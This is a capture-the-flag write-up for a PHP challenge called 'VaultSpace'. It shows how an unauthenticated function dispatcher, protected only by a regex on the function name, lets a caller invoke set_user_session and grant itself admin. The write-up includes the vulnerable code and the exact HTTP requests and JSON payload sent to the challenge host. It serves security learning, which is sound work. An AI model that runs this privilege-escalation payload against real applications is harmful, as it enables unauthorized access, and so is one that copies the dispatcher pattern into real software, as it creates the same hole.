VaultSpace
Summary
We’ll use the app’s own public “function dispatcher” to call a state-changing helper that writes directly into $_SESSION
. One request sets $_SESSION['admin']=true
for our cookie, and then /dashboard.php
shows the flag. No shell, no SQL, just an authorization check that trusts what the client can modify.
Start
The challenge ships a classic PHP stack with these relevant files:
api_handler.php
— generic POST API gatewayfunctions.php
— the functions that the gateway can calldashboard.php
— admin-only page that renders the flag
Two observations frame the whole exploit:
A public dispatcher invokes server functions by name.
One exported function writes session auth based on caller input.
Dispatcher (Entry point)
// api_handler.php
include 'functions.php';
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// $action and $params are read from JSON or form fields
try {
$result = safe_call_function($action, $params);
echo json_encode(['status' => 'success', 'data' => $result]);
} catch (Exception $e) {
echo json_encode(['status' => 'error', 'message' => 'Operation failed']);
}
}
No authentication sits in front of this entrypoint. Any POST is forwarded to
safe_call_function
.Whatever we put in
$action
determines which server function runs. That’s huge power.
The “safety” check that isn’t authorization
function safe_call_function($function_name, $params = []) {
if (!preg_match('/^(get_|check_|set_)[a-zA-Z0-9_]+$/', $function_name)) {
throw new Exception("Invalid function name");
}
if (!function_exists($function_name)) {
throw new Exception("Function '$function_name' does not exist.");
}
return call_user_func_array($function_name, $params);
}
The only gate is a regex on the name. That’s not a permission model.
If a sensitive routine starts with
set_
, it passes and becomes remotely callable.call_user_func_array($fn, $params)
uses ourparams
to build the function’s arguments, so we control both which function runs and what it receives.
Where the privilege flip actually happens
function set_user_session($user_data) {
$_SESSION['user_id'] = $user_data['id'];
$_SESSION['username'] = $user_data['username'];
$_SESSION['admin'] = (bool)($user_data['admin'] ?? false);
return true;
}
Whatever we put in
user_data['admin']
becomes the session’s admin bit.No DB lookup, no signature, no role verification, just trust.
The admin check elsewhere simply reads that bit:
function check_admin_status() {
return isset($_SESSION['admin']) && $_SESSION['admin'] == true;
}
And the dashboard gates by it and renders the flag:
// dashboard.php (simplified)
if (!check_admin_status()) { header('Location: login.php'); exit; }
<div class="flag-text">FahemSec{...}</div>
So if we can call set_user_session
through the dispatcher and keep the same cookie, we’re in.
Steps for Exploitation
1- Get a session cookie
Open any page to establish a PHP session (keep the same cookie for the next requests).
GET /index.php HTTP/1.1
Host: 95.217.6.37:20000
2-Flip your session to admin via the dispatcher
Send a form-encoded POST that calls set_user_session
with a single array argument. This shape makes PHP build params[0]
as the $user_data
array for call_user_func_array
.
POST /api_handler.php HTTP/1.1
Host: 95.217.6.37:20000
Content-Type: application/json
{"action":"set_user_session","params":[{"id":999,"username":"admin","admin":1}]}
response
{"status":"success","data":true}
Under the hood:
The regex allows
set_user_session
.call_user_func_array('set_user_session', [ {id, username, admin:1} ])
runs.(bool)1
becomestrue
⇒$_SESSION['admin']=true
for your current cookie.
Then visit /dashboard and you should see the flag

Last updated
Was this helpful?